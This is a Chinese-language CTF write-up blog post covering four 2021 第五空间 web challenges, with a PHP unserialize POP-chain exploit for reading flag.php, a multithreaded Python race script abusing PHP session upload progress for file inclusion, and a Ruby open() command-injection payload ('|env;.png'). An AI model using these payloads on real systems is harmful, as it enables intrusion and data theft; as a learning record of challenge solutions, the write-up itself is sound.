• [第五空间 2021]web 复现wp


    目录

     [第五空间 2021]pklovecloud

    官方解:

    总结:

    [第五空间 2021]EasyCleanup

    考点:

    思路:

    总结:

    [第五空间 2021]yet_another_mysql_injection

    [第五空间 2021]PNG图片转换器

    解题:

    总结:


     [第五空间 2021]pklovecloud

    1. include 'flag.php';
    2. class pkshow
    3. {
    4. function echo_name()
    5. {
    6. return "Pk very safe^.^";
    7. }
    8. }
    9. class acp
    10. {
    11. protected $cinder;
    12. public $neutron;
    13. public $nova;
    14. function __construct()
    15. {
    16. $this->cinder = new pkshow;
    17. }
    18. function __toString()
    19. {
    20. if (isset($this->cinder))
    21. return $this->cinder->echo_name();
    22. }
    23. }
    24. class ace
    25. {
    26. public $filename;
    27. public $openstack;
    28. public $docker;
    29. function echo_name()
    30. {
    31. $this->openstack = unserialize($this->docker);
    32. $this->openstack->neutron = $heat;
    33. if($this->openstack->neutron === $this->openstack->nova)
    34. {
    35. $file = "./{$this->filename}";
    36. if (file_get_contents($file))
    37. {
    38. return file_get_contents($file);
    39. }
    40. else
    41. {
    42. return "keystone lost~";
    43. }
    44. }
    45. }
    46. }
    47. if (isset($_GET['pks']))
    48. {
    49. $logData = unserialize($_GET['pks']);
    50. echo $logData;
    51. }
    52. else
    53. {
    54. highlight_file(__file__);
    55. }
    56. ?>

    exp 很好构造  就是要绕过两个点:

      $this->openstack = unserialize($this->docker);
            $this->openstack->neutron = $heat;
            if($this->openstack->neutron === $this->openstack->nova)

    关键代码在这里, 如果 这里的docker为空的时候, this -> OpenStack 自然为空对象,则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。.

    测试代码:

    1. $a="";
    2. $b=unserialize($a);
    3. var_dump($b);//bool(false)
    4. var_dump($a->sss);//报异常并返回null
    5. var_dump($a->ttt->xxx===null);//bool(true)
    6. ?>

    可以看见以上代码。 $b对象的属性都为空。

    构造exp:

    1. class acp
    2. {
    3. public $cinder;
    4. public $neutron;
    5. public $nova;
    6. }
    7. class ace
    8. {
    9. public $filename;
    10. public $openstack;
    11. public $docker;
    12. }
    13. $b=new acp();
    14. $c=new ace();
    15. $b->cinder=$c;
    16. $c->docker='';
    17. $c->filename='flag.php';
    18. echo urlencode(serialize($b));
    19. ?>

    没跑出来,但是对照了wp 也没问题。

    官方解:

    1. class acp
    2. {
    3. protected $cinder;
    4. public $neutron;
    5. public $nova;
    6. function __construct()
    7. {
    8. $this->cinder = new ace();
    9. }
    10. function __toString()
    11. {
    12. if (isset($this->cinder))
    13. return $this->cinder->echo_name();
    14. }
    15. }
    16. class ace
    17. {
    18. public $filename;
    19. public $openstack;
    20. public $docker;
    21. function __construct()
    22. {
    23. $this->filename = "flag.php";
    24. $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
    25. }
    26. function echo_name()
    27. {
    28. $this->openstack = unserialize($this->docker);
    29. $this->openstack->neutron = $heat;
    30. if($this->openstack->neutron === $this->openstack->nova) {
    31. $file = "./{$this->filename}";
    32. if (file_get_contents($file))
    33. {
    34. return file_get_contents($file);
    35. }
    36. else
    37. {
    38. return "keystone lost~";
    39. }
    40. }
    41. }
    42. }
    43. $cls = new acp();
    44. echo urlencode(serialize($cls))."\n";
    45. echo $cls;

    总结:

    可惜没打出来

    [第五空间 2021]EasyCleanup

    考点:

    临时文件包含

    1. if(!isset($_GET['mode'])){
    2. highlight_file(__file__);
    3. }else if($_GET['mode'] == "eval"){
    4. $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
    5. if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    6. eval($shell);
    7. }
    8. if(isset($_GET['file'])){
    9. if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    10. include $_GET['file'];
    11. }
    12. function filter($var){
    13. $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
    14. foreach($banned as $ban){
    15. if(strstr($var, $ban)) return True;
    16. }
    17. return False;
    18. }
    19. function checkNums($var){
    20. $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    21. $cnt = 0;
    22. for($i = 0; $i < strlen($alphanum); $i++){
    23. for($j = 0; $j < strlen($var); $j++){
    24. if($var[$j] == $alphanum[$i]){
    25. $cnt += 1;
    26. if($cnt > 8) return True;
    27. }
    28. }
    29. }
    30. return False;
    31. }
    32. ?>

    看到代码,这道题有eval  和include 可以利用,看看eval 的利用条件,长度不能大于15, 过滤了关键字,和a-z A-Z 0-9 这基本上很难rce 了,异或 ^ 被过滤了,取反字符肯定大于15. eval基本是用不了了。

    再来看看include 。 如果上传文件包含的话,不会受到字符长度的限制,也不会被过滤。

    那么利用点应该就是这里了。

    知道了利用点,先看看phpinfo(); 

    逐一来解释一下以上 配置:

    • session.save_handler:表示session以文件的形式存储。
    • session.save_path:session默认存储路径在 /tmp 下。
    • session.serialize_handler:反序列化和序列化的处理器是php
    • session.upload_progress.cleanup: 功能为 on 时,即向服务器上传文件后,php会马上清楚对应session文件中的内容。on 也就意味着 需要条件竞争。
    • session.upload_progress.enabled:表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。
    • 第六七行中的freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
    • 第八九行中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。
    • 第十行表示使用cookie记录sessionid。
    • 第十一行表示是否在客户端仅仅使用 cookie 来存放会话 ID。
    • 第十二行中的值为off,表示Cookie中的sessionid可控。

    思路:

    当我们自己定义cookie 中的 phpsessid 时,php为在服务器创建文件并存储在tmp/sess_id。服务器会自动化初始session,由(prefix+session.upload_progress.name)组成。由于session.use_strict_mode 为off  所以我们可以自定义sessionid 为我们的session文件名,然后控制文件内容,进行file的文件包含,因为clean up 为 on 所以需要用到条件竞争。然后访问 file =/tmp/sess_id 进行包含。

    附上脚本。

    1. import io
    2. import requests
    3. import threading
    4. url="http://1.14.71.254:28073/"
    5. sessid="acd"
    6. myfile=io.BytesIO(b"test.txt" * 1024)
    7. writedata={"PHP_SESSION_UPLOAD_PROGRESS" : ""}
    8. mycookie={"PHPSESSID":sessid}
    9. def write(ss):
    10. while True:
    11. resp=requests.post(url=url, data=writedata, cookies=mycookie, files={"file": ("test.txt",123)})
    12. def read(ss):
    13. while True:
    14. payloadurl=url+'?file='+'/tmp/sess_'+sessid
    15. resp=requests.get(url=payloadurl)
    16. if 'test.txt' in resp.text:
    17. print(resp.text)
    18. break
    19. else:pass
    20. if __name__ == '__main__':
    21. envent=threading.Event()
    22. with requests.session() as ss:
    23. for i in range(0,30):
    24. threading.Thread(target=write, args=(ss, )).start()
    25. for i in range(0, 30):
    26. threading.Thread(target=read, args=(ss,)).start()
    27. envent.set()

    总结:

    看到include 可以往临时文件包含 方面思考。还要考虑到phpinfo的具体设置。

    [第五空间 2021]yet_another_mysql_injection

    参考链接:从三道赛题再谈命令行 - 安全客,安全资讯平台 (anquanke.com)

    [第五空间 2021]PNG图片转换器

    题目有个源码下载:

    1. require 'sinatra'
    2. require 'digest'
    3. require 'base64'
    4. get '/' do
    5. open("./view/index.html", 'r').read()
    6. end
    7. get '/upload' do
    8. open("./view/upload.html", 'r').read()
    9. end
    10. post '/upload' do
    11. unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    12. return ""
    13. end
    14. begin
    15. filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    16. open(filename, 'wb') { |f|
    17. f.write open(params[:file][:tempfile],'r').read()
    18. }
    19. "Upload success, file stored at #{filename}"
    20. rescue
    21. 'something wrong'
    22. end
    23. end
    24. get '/convert' do
    25. open("./view/convert.html", 'r').read()
    26. end
    27. post '/convert' do
    28. begin
    29. unless params['file']
    30. return ""
    31. end
    32. file = params['file']
    33. unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
    34. return ""
    35. end
    36. res = open(file, 'r').read()
    37. headers 'Content-Type' => "text/html; charset=utf-8"
    38. "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
    39. rescue
    40. 'something wrong'
    41. end
    42. end

    解题:

    简单审计下代码,对ruby不是很 熟悉,但是简单看一下还是能看懂的。

    1. file = params['file']
    2. unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
    3. return ""

    要求后缀必须为 png,不能包含 ..  不能包含 / ,过滤完成之后会用open(file,'r').read() 然后base64打印上传的内容.,而ruby 的open()函数是借用系统命令来打开文件的,所以可以命令执行。

    对于file 参数不能存在  ..  /  可以考虑在命令 注入的时候用base64编码后执行。

    例如:

     这里的 bHMgLwo= 就相当于 ls  /   就可以绕过 file 过滤了  /

    这里我们可以执行反弹shell ,其实也可以不用,看自己,因为这是有回显的。

     ls  /  看看根目录,解码一下base 64

    得到:

    1. app
    2. bin
    3. boot
    4. dev
    5. etc
    6. home
    7. lib
    8. lib64
    9. media
    10. mnt
    11. opt
    12. proc
    13. root
    14. run
    15. sbin
    16. srv
    17. sys
    18. tmp
    19. usr
    20. var

    找了好久没有 找到flag 文件。 看了其他师傅的wp 才知道在环境变量env 里面

    payload:

    file=|env;.png

    总结:

    ruby 中的open 函数借用了 系统命令。会产生命令执行漏洞。以 | 分割。

  • 相关阅读:
    Java 11 新特性
    vue中 setState
    Vite 踩坑 —— require is not defined
    一文梳理Vue面试题
    kaggle使用深度学习的logistic回归方法实现疟疾细胞图像分类
    [附源码]JAVA毕业设计教材管理(系统+LW)
    Guava中的使用
    第二章网页前端基础与HTTP协议
    2022 年 25 大 Java 8 面试问题和答案 - 从基础到有经验
    应用在温度测量仪领域中的数字温度传感芯片
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126807755